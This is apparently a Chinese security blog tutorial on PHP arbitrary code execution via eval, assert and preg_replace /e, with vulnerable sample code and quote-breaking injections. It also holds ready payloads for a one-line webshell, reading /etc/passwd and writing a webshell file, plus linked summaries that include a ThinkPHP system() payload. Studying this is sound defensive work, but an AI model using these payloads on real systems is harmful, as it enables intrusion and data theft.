任意代码执行漏洞简介

2023-11-18

一、任意代码执行漏洞思维导图:
代码执行漏洞的成因:
应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
代码执行漏洞的常用函数
PHP:eval,assert,preg_replace()+/e 模式
Javascript:eval
Vbscript:Execute、Eval
Python: exec
Java: Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等,这些都能够造成代码执行漏洞。
代码执行漏洞的利用
eval()函数示例一、
<?php
$data=$_GET['data'];
eval("\$ret=$data;");
echo $ret;
?>
这种情况下直接输入相应的代码就可以利用
eval()函数示例二、
<?php
$data=$_GET['data'];
eval("\$ret=strtolower('$data');");
echo $ret;
?>
单引号内的数据会被当作字符串处理,并不会被解析执行,如果不闭合单引号的话,该段代码的意思就只是将输入的data数据做小写转换然后赋值给ret。
如果想要让输入的代码被解析执行,则需要先闭合单引号,例:
eval("\$ret=strtolower('') &任意代码&('');");
eval()函数实例三:可控点为某种函数的参数值且被双引号包裹。
<?php
$data=$_GET['data'];
eval("\$ret=strtolower(\"$data\");");
echo $ret;
?>
与单引号不同的是双引号内如果包含有变量,php解释器会将其替换为变量解释后的结果,单引号中的变量不会被处理。例:
eval("\$ret=strtolower(\"{${phpinfo()}}\");");
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理
代码执行漏洞的利用
preg_replace()+/e(PHP版本<5.5.0)
源代码:
<?php
$data=$_GET['data'];
preg_replace('/<data>(.*)<\/data>/e, '$ret="\\1";',$data);
echo $ret;
?>
一句话木马: ${@eval($_POSR[1]) }
获得当前工作路径${exit(print(getcwd()))}
读文件:${exit(vardump(file_get_contents($_POST[f])))}
             f=/etc/passwd
写webshell:  ${exit(var_dump(file_put_contents($_POST[f],$_POST[d])))}
                     f=a.php&d=222
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

任意代码执行漏洞简介 的相关文章

  • weblogic 任意文件上传漏洞复现(CVE-2018-2894)

    weblogic 任意文件上传漏洞复现 CVE 2018 2894 漏洞介绍 WebLogic管理端页面 ws utc begin do ws utc config do下可上传任意getshell 复现环境 vulhub的docker环境
  • Notes Twenty one days-渗透攻击-红队-权限提升

    Notes Twenty one days 渗透攻击 红队 权限提升 dayu 作者 大余 时间 2020 10 7 请注意 对于所有笔记中复现的这些终端或者服务器 都是自行搭建的环境进行渗透的 我将使用Kali Linux作为此次学习的攻
  • 【网络安全】Spring框架漏洞总结(一)

    Spring简介 Spring是Java EE编程领域的一个轻量级开源框架 该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建 是为了解决企业级编程开发中的复杂性 业务逻辑层和其他各层的松耦合问题 因此它将面向接口的
  • Log4j2 RCE漏洞及靶场搭建

    漏洞简介 Apache Log4j2是一款Java日志框架 是Log4j 的升级版 可以控制每一条日志的输出格式 通过定义每一条日志信息的级别 能够更加细致地控制日志的生成过程 该漏洞是由于Apache Log4j2某些功能存在递归解析功能
  • webgoat全关教程手册

    Webgoat Webwolf owaspbwa里面的两个服务 搭建 先要安装jdk Webgoat和Webwolf Webgoat和Webwolf jdk1 8不支持了 需要安装jdk11 去git上下载Webgoat和Webwolf h
  • Thinkphp最新版本漏洞分析

    环境 Thinkphp6 0 12LTS 目前最新版本 PHP7 3 4 安装 composer create project topthink think tp6 测试代码 漏洞分析 漏洞起点不是 desturct就是 wakeup全局搜
  • 复现ThinkPHP5 5.0.23远程代码执行漏洞

    访问 index php s captcha页面 会出现如下报错 执行whoami 查看当前目录 method construct filter system method get server REQUEST METHOD pwd 写入一
  • 防火墙 IPS IDS区别

    看了好多篇关于防火墙 IPS IDS的区别 感觉都好啰嗦 决定自己写一篇
  • typecho反序列化漏洞复现

    typecho框架存在反序列化漏洞 利用此漏洞可执行任意代码 环境搭建 第一步 第二步 第三步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 漏洞分析 typecho build install php 文件中 使用unseria
  • CTFshow web15

    ctf show 萌新模块 web15关 这一关是代码执行漏洞 需要灵活的运用PHP的命令执行函数 在上一关的基础上又过滤了 gt 关键字 看起来已经没啥思路了 但仔细一看 它居然取消了对分号 的过滤 这样一来就好办了 继续上一关的曲线救国
  • 黄金票据制作-新手入门

    0x01 前言 相信准备学习内网渗透的人 都会知道有黄金票据这个事情 而黄金票据的原理是和攻击方式 网站说的都一大堆概念 很难懂 这里我说声明一下 黄金票据的作用在于做权限维持 原理在于域服务器上有一个krbtgt用户 0x02 黄金票据和
  • SQL注入点判断及注入方式

    SQL注入类型 一 判断注入点 当参数可控时 看参数是否对数据产生影响 若有影响则可能是注入点 输入SQL看是否可以产生报错 通过报错信息得到数据库部分语句 利用引号 双引号 圆括号进行报对 二 注入方式 get注入 在get传参时写入参数
  • 渗透技巧——手动判断注入点(思维导图)

    在渗透测试过程中 在web存在较复杂的情况下需要有针对性的先进性手动测试是否存在注入点 总结如下手动测试思维导图 如下思维导图针对大多数有注入点的场景
  • CVE-2021-3156 sudo堆溢出 漏洞分析

    漏洞简介 sudo 是 linux 系统管理指令 是允许系统管理员让普通用户执行一些或者全部的 root 命令的一个工具 它允许授权用户以 root 权限执行命令或者程序 sudo 的 sudoer 插件里面存在一个堆溢出漏洞 攻击者可以利
  • Sqli-Labs Less1-16关详细讲解

    Sqli Labs Less1 16关详细讲解 一 首先介绍一下这个重要的数据库 information schema数据库 二 Sqli Labs靶场 Get传输方式 Less 1 Union Select注入 闭合符 Less 5 报错
  • Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)复现

    Confluence介绍 Confluence是一个专业的企业知识管理与协同软件 也可以用于构建企业wiki 使用简单 但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息 文档协作 集体讨论 信息推送 漏洞概述 Atlassian C
  • php伪随机数

    目录 函数介绍 代码测试 考点 1 根据种子预测随机数 2 根据随机数预测种子 函数介绍 mt srand 播种 Mersenne Twister 随机数生成器 mt rand 生成随机数 简单来说mt srand 通过分发seed种子 然
  • FTP服务器版本信息可被获取(CVE-1999-0614)(建议修改源代码或者配置文件改变缺省banner信息。)

    漏洞扫描报告 1 测试查看 默认端口21 telnet localhost 21 下图所示即为漏洞信息描述的 可获取版本号 2 修改 vsftpd conf 配置文件 etc vsftpd vsftpd conf 找到 ftpd banne
  • 32种针对硬件与固件的漏洞攻击

    2018年1月 全球计算机行业因为Meltdown以及Spectre这两个在处理器中存在的新型漏洞而受到威胁 这两个漏洞直接打破了分离内核以及用户内存的OS安全边界 这两个漏洞基于了现代CPU的预测执行功能 而缓解这两个漏洞带来的影响则需要
  • 一个人录制课程--全网独一

    获取方式 见文末 共计八章节 1 php编程 2 web安全基础 3 中间人攻击与抓包 4 正反向代理与端口转发5 提权 6 内网 7 实战8工具 1 PHP编程 1 讲师介绍 http协议 挖掘BUG mp4 2 搭建apache php

随机推荐

  • [HBZ分享] 小米手机如何解BL锁

    第一步 进入 设置 gt 我的设备 gt 全部参数 gt 连续疯狂的点MIUI版本那一行 第二步 进入 更多设置 gt 开发者模式 打开USB调试 与 USB安装 第三步 进入 更多设置 gt 开发者模式 进入 设别解锁状态 在下方有一个
  • 利用PostMan 模拟上传/下载文件

    我们经常用postman模拟各种http请求 但是有时候因为业务需要 我们需要测试上传下载功能 其实postman也是很好支持这两种操作的 一 上传文件 1 打开postman 选择对应request类型 以及url 2 选择body 单击
  • OkHttp3封装网络请求框架

    网络请求是开发中最基础的功能 框架原生API不便于复用 今天在这里分享慕课一位老师基于OkHttp封装的一个思路 希望对大家有帮助 首先 我们看一下Okhttp的基本使用 发送异步GET请求 1 new OkHttpClient 2 构造R
  • apt、apt-get、apt-cache使用详解

    文章目录 1 概述 2 搜索软件 查看软件信息 依赖关系 3 查看已安装软件 4 安装 升级软件 5 删除 6 清理 检查 7 忽略更新 8 apt get参数 9 参考文档 1 概述 apt apt get apt cache是三个软件
  • js修改数组中对象的key值

    不删除旧的key和value var data name 路口1 count 30 name 路口2 count 20 name 路口3 count 10 data data map item gt item value item coun
  • vue-router传参的四种方式超详细

    vue路由传参的四种方式 一 router link路由导航方式传参 父组件
  • 微服务优点缺点

    微服务架构采用Scale Cube方法设计应用架构 将应用服务按功能拆分成一组相互协作的服务 每个服务负责一组特定 相关的功能 每个服务可以有自己独立的数据库 从而保证与其他服务解耦 耦合是指两个或两个以上的体系或两种运动形式间通过相互作用
  • 移动端按设计图1:1布局方法

    1 为什么要写这篇教程 移动端布局大多数前端工程师使用的是百分比布局 然而百分比布局造成了很多问题 比如图片在不同分辨率下会有变形的问题 高度需要按照分辨率去兼容适配等等 今天给大家分享的这种布局方式 可以摈弃百分比布局 直接根据设计图1
  • 管道符和xargs

    先看一个例子 今天上了一门Linux课 其中有一道题是这样的 将文件 lib 目录下所有以包含 so的文件复制到cmd test目录下 一开始看到这个题 想法是先用find命令找出包含 so的文件 然后使用管道符cp 如下 find lib
  • robotstudio要从当前占位符中提取IRB2600....

    如上图所示 在添加singal后重启控制器便出现了这样的提示 找了一圈也没有找到答案 希望有高人指点指点
  • 关于8266WiFi模块(AT)问题分析与解答(单片机和wifi模块连接)

    近段时间由于作品需要 就入手了一个esp 01 s 8266wifi模块 厂家已经刷好固件 这个模块使用起来还是很简单便捷的 但是在调试过程中会遇到各种问题 以下是个人的一个总结 希望对大家有帮助 1 单片机晶振和波特率问题 重要 有关单片
  • 基于预测控制模型的自适应巡航控制仿真与机器人实现(Matlab代码实现)

    目录 1 概述 2 运行结果 3 参考文献 4 Matlab代码 1 概述 自适应巡航控制技术为目前由于汽车保有量不断增长而带来的行车安全 驾驶舒适性及交通拥堵等问题提供了一条有效的解决途径 因此本文通过理论分析 仿真验证及实车实验对自适应
  • 使用editor.md渲染markdown并自定义目录

    使用editor md渲染markdown并自定义目录 一 需求 最近在开发个人博客 在做文章详情页的时候 需要将markdown格式的文本字符串渲染成html页面 于是逛github的时候发现了这一款markdown在线编辑器 它支持将m
  • Json“牵手”亚马逊商品详情数据方法,亚马逊商品详情API接口,亚马逊API申请指南

    亚马逊平台是美国最大的一家网络电子商务公司 亚马逊公司是1995年成立 刚开始只做网上书籍售卖业务 后来扩展到了其他产品 现在已经是全世界商品品种最多的网上零售商和第二互联网公司 亚马逊是北美洲 欧洲等地区的主流购物平台 亚马逊商品分类接口
  • Office Visio 2007安装教程

    哈喽 大家好 今天一起学习的是Visio 2007的安装 这是一个绘制流程图的软件 用有效的绘图表达信息 比任何文字都更加形象和直观 Office Visio 是office软件系列中负责绘制流程图和示意图的软件 便于IT和商务人员就复杂信
  • SpringCloud与Dubbo的比较

    目录 Dubbo 一 dubbo简介 二 dubbo组织架构图 三 dubbo的优势 SpringCloud 一 SpringCloud简介 二 SpringCloud组织架构 三 SpringCloud特点 四 Dubbo与SpringC
  • 共模电感(扼流圈)选型

    1 共模电感原理 在介绍共模电感之前先介绍扼流圈 扼流圈是一种用来减弱电路里面高频电流的低阻抗线圈 为了提高其电感扼流圈通常有一软磁材料制的核心 共模扼流圈有多个同样的线圈 电流在这些线圈里反向流 因此在扼流圈的芯里磁场抵消 共模扼流圈常被
  • Python:打包生成.pyc、.pyd文件

    目录 pyd文件是什么 1 环境 2 待编译文件hello py以及setup py文件 3 运行调试 4 写在最后 pyd文件是什么 pyd文件类似于DLL 一般用C C 语言编译而成 可用作模块导入Python程序中 pyd文件仅适用于
  • 使用Unity游戏引擎在IOS模拟器中运行的方法

    在Unity编译IOS程序时 在Unity导航栏菜单中选择Edit gt ProjectSettings gt Player 菜单项 选择IOS平台在下方SDK Version处选择运行设备为IOS模拟器 选择完毕后Build and Ru
  • 任意代码执行漏洞简介

    一 任意代码执行漏洞思维导图 代码执行漏洞的成因 应用程序在调用一些能够将字符串转换为代码的函数 例如php中的eval中 没有考虑用户是否控制这个字符串 将造成代码执行漏洞 代码执行漏洞的常用函数 PHP eval assert preg